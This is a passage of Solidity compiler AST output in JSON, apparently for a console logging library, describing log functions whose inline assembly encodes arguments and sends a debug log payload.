2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"29161:33:22"},"returnParameters":{"id":34611,"nodeType":"ParameterList","parameters":[],"src":"29209:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34673,"nodeType":"FunctionDefinition","src":"30361:1212:22","nodes":[],"body":{"id":34672,"nodeType":"Block","src":"30424:1149:22","nodes":[],"statements":[{"assignments":[34648],"declarations":[{"constant":false,"id":34648,"mutability":"mutable","name":"m0","nameLocation":"30442:2:22","nodeType":"VariableDeclaration","scope":34672,"src":"30434:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34647,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30434:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34649,"nodeType":"VariableDeclarationStatement","src":"30434:10:22"},{"assignments":[34651],"declarations":[{"constant":false,"id":34651,"mutability":"mutable","name":"m1","nameLocation":"30462:2:22","nodeType":"VariableDeclaration","scope":34672,"src":"30454:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34650,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30454:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34652,"nodeType":"VariableDeclarationStatement","src":"30454:10:22"},{"assignments":[34654],"declarations":[{"constant":false,"id":34654,"mutability":"mutable","name":"m2","nameLocation":"30482:2:22","nodeType":"VariableDeclaration","scope":34672,"src":"30474:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34653,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30474:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34655,"nodeType":"VariableDeclarationStatement","src":"30474:10:22"},{"assignments":[34657],"declarations":[{"constant":false,"id":34657,"mutability":"mutable","name":"m3","nameLocation":"30502:2:22","nodeType":"VariableDeclaration","scope":34672,"src":"30494:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34656,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30494:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34658,"nodeType":"VariableDeclarationStatement","src":"30494:10:22"},{"assignments":[34660],"declarations":[{"constant":false,"id":34660,"mutability":"mutable","name":"m4","nameLocation":"30522:2:22","nodeType":"VariableDeclaration","scope":34672,"src":"30514:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34659,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30514:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34661,"nodeType":"VariableDeclarationStatement","src":"30514:10:22"},{"assignments":[34663],"declarations":[{"constant":false,"id":34663,"mutability":"mutable","name":"m5","nameLocation":"30542:2:22","nodeType":"VariableDeclaration","scope":34672,"src":"30534:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34662,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30534:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34664,"nodeType":"VariableDeclarationStatement","src":"30534:10:22"},{"AST":{"nativeSrc":"30563:764:22","nodeType":"YulBlock","src":"30563:764:22","statements":[{"body":{"nativeSrc":"30606:313:22","nodeType":"YulBlock","src":"30606:313:22","statements":[{"nativeSrc":"30624:15:22","nodeType":"YulVariableDeclaration","src":"30624:15:22","value":{"kind":"number","nativeSrc":"30638:1:22","nodeType":"YulLiteral","src":"30638:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"30628:6:22","nodeType":"YulTypedName","src":"30628:6:22","type":""}]},{"body":{"nativeSrc":"30709:40:22","nodeType":"YulBlock","src":"30709:40:22","statements":[{"body":{"nativeSrc":"30738:9:22","nodeType":"YulBlock","src":"30738:9:22","statements":[{"nativeSrc":"30740:5:22","nodeType":"YulBreak","src":"30740:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"30726:6:22","nodeType":"YulIdentifier","src":"30726:6:22"},{"name":"w","nativeSrc":"30734:1:22","nodeType":"YulIdentifier","src":"30734:1:22"}],"functionName":{"name":"byte","nativeSrc":"30721:4:22","nodeType":"YulIdentifier","src":"30721:4:22"},"nativeSrc":"30721:15:22","nodeType":"YulFunctionCall","src":"30721:15:22"}],"functionName":{"name":"iszero","nativeSrc":"30714:6:22","nodeType":"YulIdentifier","src":"30714:6:22"},"nativeSrc":"30714:23:22","nodeType":"YulFunctionCall","src":"30714:23:22"},"nativeSrc":"30711:36:22","nodeType":"YulIf","src":"30711:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"30666:6:22","nodeType":"YulIdentifier","src":"30666:6:22"},{"kind":"number","nativeSrc":"30674:4:22","nodeType":"YulLiteral","src":"30674:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"30663:2:22","nodeType":"YulIdentifier","src":"30663:2:22"},"nativeSrc":"30663:16:22","nodeType":"YulFunctionCall","src":"30663:16:22"},"nativeSrc":"30656:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"30680:28:22","nodeType":"YulBlock","src":"30680:28:22","statements":[{"nativeSrc":"30682:24:22","nodeType":"YulAssignment","src":"30682:24:22","value":{"arguments":[{"name":"length","nativeSrc":"30696:6:22","nodeType":"YulIdentifier","src":"30696:6:22"},{"kind":"number","nativeSrc":"30704:1:22","nodeType":"YulLiteral","src":"30704:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"30692:3:22","nodeType":"YulIdentifier","src":"30692:3:22"},"nativeSrc":"30692:14:22","nodeType":"YulFunctionCall","src":"30692:14:22"},"variableNames":[{"name":"length","nativeSrc":"30682:6:22","nodeType":"YulIdentifier","src":"30682:6:22"}]}]},"pre":{"nativeSrc":"30660:2:22","nodeType":"YulBlock","src":"30660:2:22","statements":[]},"src":"30656:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"30773:3:22","nodeType":"YulIdentifier","src":"30773:3:22"},{"name":"length","nativeSrc":"30778:6:22","nodeType":"YulIdentifier","src":"30778:6:22"}],"functionName":{"name":"mstore","nativeSrc":"30766:6:22","nodeType":"YulIdentifier","src":"30766:6:22"},"nativeSrc":"30766:19:22","nodeType":"YulFunctionCall","src":"30766:19:22"},"nativeSrc":"30766:19:22","nodeType":"YulExpressionStatement","src":"30766:19:22"},{"nativeSrc":"30802:37:22","nodeType":"YulVariableDeclaration","src":"30802:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"30819:3:22","nodeType":"YulLiteral","src":"30819:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"30828:1:22","nodeType":"YulLiteral","src":"30828:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"30831:6:22","nodeType":"YulIdentifier","src":"30831:6:22"}],"functionName":{"name":"shl","nativeSrc":"30824:3:22","nodeType":"YulIdentifier","src":"30824:3:22"},"nativeSrc":"30824:14:22","nodeType":"YulFunctionCall","src":"30824:14:22"}],"functionName":{"name":"sub","nativeSrc":"30815:3:22","nodeType":"YulIdentifier","src":"30815:3:22"},"nativeSrc":"30815:24:22","nodeType":"YulFunctionCall","src":"30815:24:22"},"variables":[{"name":"shift","nativeSrc":"30806:5:22","nodeType":"YulTypedName","src":"30806:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"30867:3:22","nodeType":"YulIdentifier","src":"30867:3:22"},{"kind":"number","nativeSrc":"30872:4:22","nodeType":"YulLiteral","src":"30872:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"30863:3:22","nodeType":"YulIdentifier","src":"30863:3:22"},"nativeSrc":"30863:14:22","nodeType":"YulFunctionCall","src":"30863:14:22"},{"arguments":[{"name":"shift","nativeSrc":"30883:5:22","nodeType":"YulIdentifier","src":"30883:5:22"},{"arguments":[{"name":"shift","nativeSrc":"30894:5:22","nodeType":"YulIdentifier","src":"30894:5:22"},{"name":"w","nativeSrc":"30901:1:22","nodeType":"YulIdentifier","src":"30901:1:22"}],"functionName":{"name":"shr","nativeSrc":"30890:3:22","nodeType":"YulIdentifier","src":"30890:3:22"},"nativeSrc":"30890:13:22","nodeType":"YulFunctionCall","src":"30890:13:22"}],"functionName":{"name":"shl","nativeSrc":"30879:3:22","nodeType":"YulIdentifier","src":"30879:3:22"},"nativeSrc":"30879:25:22","nodeType":"YulFunctionCall","src":"30879:25:22"}],"functionName":{"name":"mstore","nativeSrc":"30856:6:22","nodeType":"YulIdentifier","src":"30856:6:22"},"nativeSrc":"30856:49:22","nodeType":"YulFunctionCall","src":"30856:49:22"},"nativeSrc":"30856:49:22","nodeType":"YulExpressionStatement","src":"30856:49:22"}]},"name":"writeString","nativeSrc":"30577:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"30598:3:22","nodeType":"YulTypedName","src":"30598:3:22","type":""},{"name":"w","nativeSrc":"30603:1:22","nodeType":"YulTypedName","src":"30603:1:22","type":""}],"src":"30577:342:22"},{"nativeSrc":"30932:17:22","nodeType":"YulAssignment","src":"30932:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"30944:4:22","nodeType":"YulLiteral","src":"30944:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"30938:5:22","nodeType":"YulIdentifier","src":"30938:5:22"},"nativeSrc":"30938:11:22","nodeType":"YulFunctionCall","src":"30938:11:22"},"variableNames":[{"name":"m0","nativeSrc":"30932:2:22","nodeType":"YulIdentifier","src":"30932:2:22"}]},{"nativeSrc":"30962:17:22","nodeType":"YulAssignment","src":"30962:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"30974:4:22","nodeType":"YulLiteral","src":"30974:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"30968:5:22","nodeType":"YulIdentifier","src":"30968:5:22"},"nativeSrc":"30968:11:22","nodeType":"YulFunctionCall","src":"30968:11:22"},"variableNames":[{"name":"m1","nativeSrc":"30962:2:22","nodeType":"YulIdentifier","src":"30962:2:22"}]},{"nativeSrc":"30992:17:22","nodeType":"YulAssignment","src":"30992:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"31004:4:22","nodeType":"YulLiteral","src":"31004:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"30998:5:22","nodeType":"YulIdentifier","src":"30998:5:22"},"nativeSrc":"30998:11:22","nodeType":"YulFunctionCall","src":"30998:11:22"},"variableNames":[{"name":"m2","nativeSrc":"30992:2:22","nodeType":"YulIdentifier","src":"30992:2:22"}]},{"nativeSrc":"31022:17:22","nodeType":"YulAssignment","src":"31022:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"31034:4:22","nodeType":"YulLiteral","src":"31034:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"31028:5:22","nodeType":"YulIdentifier","src":"31028:5:22"},"nativeSrc":"31028:11:22","nodeType":"YulFunctionCall","src":"31028:11:22"},"variableNames":[{"name":"m3","nativeSrc":"31022:2:22","nodeType":"YulIdentifier","src":"31022:2:22"}]},{"nativeSrc":"31052:17:22","nodeType":"YulAssignment","src":"31052:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"31064:4:22","nodeType":"YulLiteral","src":"31064:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"31058:5:22","nodeType":"YulIdentifier","src":"31058:5:22"},"nativeSrc":"31058:11:22","nodeType":"YulFunctionCall","src":"31058:11:22"},"variableNames":[{"name":"m4","nativeSrc":"31052:2:22","nodeType":"YulIdentifier","src":"31052:2:22"}]},{"nativeSrc":"31082:17:22","nodeType":"YulAssignment","src":"31082:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"31094:4:22","nodeType":"YulLiteral","src":"31094:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"31088:5:22","nodeType":"YulIdentifier","src":"31088:5:22"},"nativeSrc":"31088:11:22","nodeType":"YulFunctionCall","src":"31088:11:22"},"variableNames":[{"name":"m5","nativeSrc":"31082:2:22","nodeType":"YulIdentifier","src":"31082:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"31177:4:22","nodeType":"YulLiteral","src":"31177:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"31183:10:22","nodeType":"YulLiteral","src":"31183:10:22","type":"","value":"0x67dd6ff1"}],"functionName":{"name":"mstore","nativeSrc":"31170:6:22","nodeType":"YulIdentifier","src":"31170:6:22"},"nativeSrc":"31170:24:22","nodeType":"YulFunctionCall","src":"31170:24:22"},"nativeSrc":"31170:24:22","nodeType":"YulExpressionStatement","src":"31170:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"31214:4:22","nodeType":"YulLiteral","src":"31214:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"31220:2:22","nodeType":"YulIdentifier","src":"31220:2:22"}],"functionName":{"name":"mstore","nativeSrc":"31207:6:22","nodeType":"YulIdentifier","src":"31207:6:22"},"nativeSrc":"31207:16:22","nodeType":"YulFunctionCall","src":"31207:16:22"},"nativeSrc":"31207:16:22","nodeType":"YulExpressionStatement","src":"31207:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"31243:4:22","nodeType":"YulLiteral","src":"31243:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"31249:4:22","nodeType":"YulLiteral","src":"31249:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"31236:6:22","nodeType":"YulIdentifier","src":"31236:6:22"},"nativeSrc":"31236:18:22","nodeType":"YulFunctionCall","src":"31236:18:22"},"nativeSrc":"31236:18:22","nodeType":"YulExpressionStatement","src":"31236:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"31274:4:22","nodeType":"YulLiteral","src":"31274:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"31280:2:22","nodeType":"YulIdentifier","src":"31280:2:22"}],"functionName":{"name":"mstore","nativeSrc":"31267:6:22","nodeType":"YulIdentifier","src":"31267:6:22"},"nativeSrc":"31267:16:22","nodeType":"YulFunctionCall","src":"31267:16:22"},"nativeSrc":"31267:16:22","nodeType":"YulExpressionStatement","src":"31267:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"31308:4:22","nodeType":"YulLiteral","src":"31308:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"31314:2:22","nodeType":"YulIdentifier","src":"31314:2:22"}],"functionName":{"name":"writeString","nativeSrc":"31296:11:22","nodeType":"YulIdentifier","src":"31296:11:22"},"nativeSrc":"31296:21:22","nodeType":"YulFunctionCall","src":"31296:21:22"},"nativeSrc":"31296:21:22","nodeType":"YulExpressionStatement","src":"31296:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34648,"isOffset":false,"isSlot":false,"src":"30932:2:22","valueSize":1},{"declaration":34651,"isOffset":false,"isSlot":false,"src":"30962:2:22","valueSize":1},{"declaration":34654,"isOffset":false,"isSlot":false,"src":"30992:2:22","valueSize":1},{"declaration":34657,"isOffset":false,"isSlot":false,"src":"31022:2:22","valueSize":1},{"declaration":34660,"isOffset":false,"isSlot":false,"src":"31052:2:22","valueSize":1},{"declaration":34663,"isOffset":false,"isSlot":false,"src":"31082:2:22","valueSize":1},{"declaration":34640,"isOffset":false,"isSlot":false,"src":"31220:2:22","valueSize":1},{"declaration":34642,"isOffset":false,"isSlot":false,"src":"31314:2:22","valueSize":1},{"declaration":34644,"isOffset":false,"isSlot":false,"src":"31280:2:22","valueSize":1}],"id":34665,"nodeType":"InlineAssembly","src":"30554:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34667,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"31352:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":34668,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"31358:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":34666,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"31336:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34669,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31336:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34670,"nodeType":"ExpressionStatement","src":"31336:27:22"},{"AST":{"nativeSrc":"31382:185:22","nodeType":"YulBlock","src":"31382:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"31403:4:22","nodeType":"YulLiteral","src":"31403:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"31409:2:22","nodeType":"YulIdentifier","src":"31409:2:22"}],"functionName":{"name":"mstore","nativeSrc":"31396:6:22","nodeType":"YulIdentifier","src":"31396:6:22"},"nativeSrc":"31396:16:22","nodeType":"YulFunctionCall","src":"31396:16:22"},"nativeSrc":"31396:16:22","nodeType":"YulExpressionStatement","src":"31396:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"31432:4:22","nodeType":"YulLiteral","src":"31432:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"31438:2:22","nodeType":"YulIdentifier","src":"31438:2:22"}],"functionName":{"name":"mstore","nativeSrc":"31425:6:22","nodeType":"YulIdentifier","src":"31425:6:22"},"nativeSrc":"31425:16:22","nodeType":"YulFunctionCall","src":"31425:16:22"},"nativeSrc":"31425:16:22","nodeType":"YulExpressionStatement","src":"31425:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"31461:4:22","nodeType":"YulLiteral","src":"31461:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"31467:2:22","nodeType":"YulIdentifier","src":"31467:2:22"}],"functionName":{"name":"mstore","nativeSrc":"31454:6:22","nodeType":"YulIdentifier","src":"31454:6:22"},"nativeSrc":"31454:16:22","nodeType":"YulFunctionCall","src":"31454:16:22"},"nativeSrc":"31454:16:22","nodeType":"YulExpressionStatement","src":"31454:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"31490:4:22","nodeType":"YulLiteral","src":"31490:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"31496:2:22","nodeType":"YulIdentifier","src":"31496:2:22"}],"functionName":{"name":"mstore","nativeSrc":"31483:6:22","nodeType":"YulIdentifier","src":"31483:6:22"},"nativeSrc":"31483:16:22","nodeType":"YulFunctionCall","src":"31483:16:22"},"nativeSrc":"31483:16:22","nodeType":"YulExpressionStatement","src":"31483:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"31519:4:22","nodeType":"YulLiteral","src":"31519:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"31525:2:22","nodeType":"YulIdentifier","src":"31525:2:22"}],"functionName":{"name":"mstore","nativeSrc":"31512:6:22","nodeType":"YulIdentifier","src":"31512:6:22"},"nativeSrc":"31512:16:22","nodeType":"YulFunctionCall","src":"31512:16:22"},"nativeSrc":"31512:16:22","nodeType":"YulExpressionStatement","src":"31512:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"31548:4:22","nodeType":"YulLiteral","src":"31548:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"31554:2:22","nodeType":"YulIdentifier","src":"31554:2:22"}],"functionName":{"name":"mstore","nativeSrc":"31541:6:22","nodeType":"YulIdentifier","src":"31541:6:22"},"nativeSrc":"31541:16:22","nodeType":"YulFunctionCall","src":"31541:16:22"},"nativeSrc":"31541:16:22","nodeType":"YulExpressionStatement","src":"31541:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34648,"isOffset":false,"isSlot":false,"src":"31409:2:22","valueSize":1},{"declaration":34651,"isOffset":false,"isSlot":false,"src":"31438:2:22","valueSize":1},{"declaration":34654,"isOffset":false,"isSlot":false,"src":"31467:2:22","valueSize":1},{"declaration":34657,"isOffset":false,"isSlot":false,"src":"31496:2:22","valueSize":1},{"declaration":34660,"isOffset":false,"isSlot":false,"src":"31525:2:22","valueSize":1},{"declaration":34663,"isOffset":false,"isSlot":false,"src":"31554:2:22","valueSize":1}],"id":34671,"nodeType":"InlineAssembly","src":"31373:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30370:3:22","parameters":{"id":34645,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34640,"mutability":"mutable","name":"p0","nameLocation":"30382:2:22","nodeType":"VariableDeclaration","scope":34673,"src":"30374:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34639,"name":"address","nodeType":"ElementaryTypeName","src":"30374:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34642,"mutability":"mutable","name":"p1","nameLocation":"30394:2:22","nodeType":"VariableDeclaration","scope":34673,"src":"30386:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34641,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30386:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":34644,"mutability":"mutable","name":"p2","nameLocation":"30406:2:22","nodeType":"VariableDeclaration","scope":34673,"src":"30398:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34643,"name":"uint256","nodeType":"ElementaryTypeName","src":"30398:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"30373:36:22"},"returnParameters":{"id":34646,"nodeType":"ParameterList","parameters":[],"src":"30424:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34714,"nodeType":"FunctionDefinition","src":"31579:1405:22","nodes":[],"body":{"id":34713,"nodeType":"Block","src":"31642:1342:22","nodes":[],"statements":[{"assignments":[34683],"declarations":[{"constant":false,"id":34683,"mutability":"mutable","name":"m0","nameLocation":"31660:2:22","nodeType":"VariableDeclaration","scope":34713,"src":"31652:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34682,"name":"bytes32","nodeType":"ElementaryTypeName","src":"31652:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34684,"nodeType":"VariableDeclarationStatement","src":"31652:10:22"},{"assignments":[34686],"declarations":[{"constant":false,"id":34686,"mutability":"mutable","name":"m1","nameLocation":"31680:2:22","nodeType":"VariableDeclaration","scope":34713,"src":"31672:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34685,"name":"bytes32","nodeType":"ElementaryTypeName","src":"31672:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34687,"nodeType":"VariableDeclarationStatement","src":"31672:10:22"},{"assignments":[34689],"declarations":[{"constant":false,"id":34689,"mutability":"mutable","name":"m2","nameLocation":"31700:2:22","nodeType":"VariableDeclaration","scope":34713,"src":"31692:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34688,"name":"bytes32","nodeType":"ElementaryTypeName","src":"31692:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34690,"nodeType":"VariableDeclarationStatement","src":"31692:10:22"},{"assignments":[34692],"declarations":[{"constant":false,"id":34692,"mutability":"mutable","name":"m3","nameLocation":"31720:2:22","nodeType":"VariableDeclaration","scope":34713,"src":"31712:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34691,"name":"bytes32","nodeType":"ElementaryTypeName","src":"31712:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34693,"nodeType":"VariableDeclarationStatement","src":"31712:10:22"},{"assignments":[34695],"declarations":[{"constant":false,"id":34695,"mutability":"mutable","name":"m4","nameLocation":"31740:2:22","nodeType":"VariableDeclaration","scope":34713,"src":"31732:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34694,"name":"bytes32","nodeType":"ElementaryTypeName","src":"31732:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34696,"nodeType":"VariableDeclarationStatement","src":"31732:10:22"},{"assignments":[34698],"declarations":[{"constant":false,"id":34698,"mutability":"mutable","name":"m5","nameLocation":"31760:2:22","nodeType":"VariableDeclaration","scope":34713,"src":"31752:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34697,"name":"bytes32","nodeType":"ElementaryTypeName","src":"31752:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34699,"nodeType":"VariableDeclarationStatement","src":"31752:10:22"},{"assignments":[34701],"declarations":[{"constant":false,"id":34701,"mutability":"mutable","name":"m6","nameLocation":"31780:2:22","nodeType":"VariableDeclaration","scope":34713,"src":"31772:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34700,"name":"bytes32","nodeType":"ElementaryTypeName","src":"31772:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34702,"nodeType":"VariableDeclarationStatement","src":"31772:10:22"},{"assignments":[34704],"declarations":[{"constant":false,"id":34704,"mutability":"mutable","name":"m7","nameLocation":"31800:2:22","nodeType":"VariableDeclaration","scope":34713,"src":"31792:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34703,"name":"bytes32","nodeType":"ElementaryTypeName","src":"31792:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34705,"nodeType":"VariableDeclarationStatement","src":"31792:10:22"},{"AST":{"nativeSrc":"31821:859:22","nodeType":"YulBlock","src":"31821:859:22","statements":[{"body":{"nativeSrc":"31864:313:22","nodeType":"YulBlock","src":"31864:313:22","statements":[{"nativeSrc":"31882:15:22","nodeType":"YulVariableDeclaration","src":"31882:15:22","value":{"kind":"number","nativeSrc":"31896:1:22","nodeType":"YulLiteral","src":"31896:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"31886:6:22","nodeType":"YulTypedName","src":"31886:6:22","type":""}]},{"body":{"nativeSrc":"31967:40:22","nodeType":"YulBlock","src":"31967:40:22","statements":[{"body":{"nativeSrc":"31996:9:22","nodeType":"YulBlock","src":"31996:9:22","statements":[{"nativeSrc":"31998:5:22","nodeType":"YulBreak","src":"31998:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"31984:6:22","nodeType":"YulIdentifier","src":"31984:6:22"},{"name":"w","nativeSrc":"31992:1:22","nodeType":"YulIdentifier","src":"31992:1:22"}],"functionName":{"name":"byte","nativeSrc":"31979:4:22","nodeType":"YulIdentifier","src":"31979:4:22"},"nativeSrc":"31979:15:22","nodeType":"YulFunctionCall","src":"31979:15:22"}],"functionName":{"name":"iszero","nativeSrc":"31972:6:22","nodeType":"YulIdentifier","src":"31972:6:22"},"nativeSrc":"31972:23:22","nodeType":"YulFunctionCall","src":"31972:23:22"},"nativeSrc":"31969:36:22","nodeType":"YulIf","src":"31969:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"31924:6:22","nodeType":"YulIdentifier","src":"31924:6:22"},{"kind":"number","nativeSrc":"31932:4:22","nodeType":"YulLiteral","src":"31932:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"31921:2:22","nodeType":"YulIdentifier","src":"31921:2:22"},"nativeSrc":"31921:16:22","nodeType":"YulFunctionCall","src":"31921:16:22"},"nativeSrc":"31914:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"31938:28:22","nodeType":"YulBlock","src":"31938:28:22","statements":[{"nativeSrc":"31940:24:22","nodeType":"YulAssignment","src":"31940:24:22","value":{"arguments":[{"name":"length","nativeSrc":"31954:6:22","nodeType":"YulIdentifier","src":"31954:6:22"},{"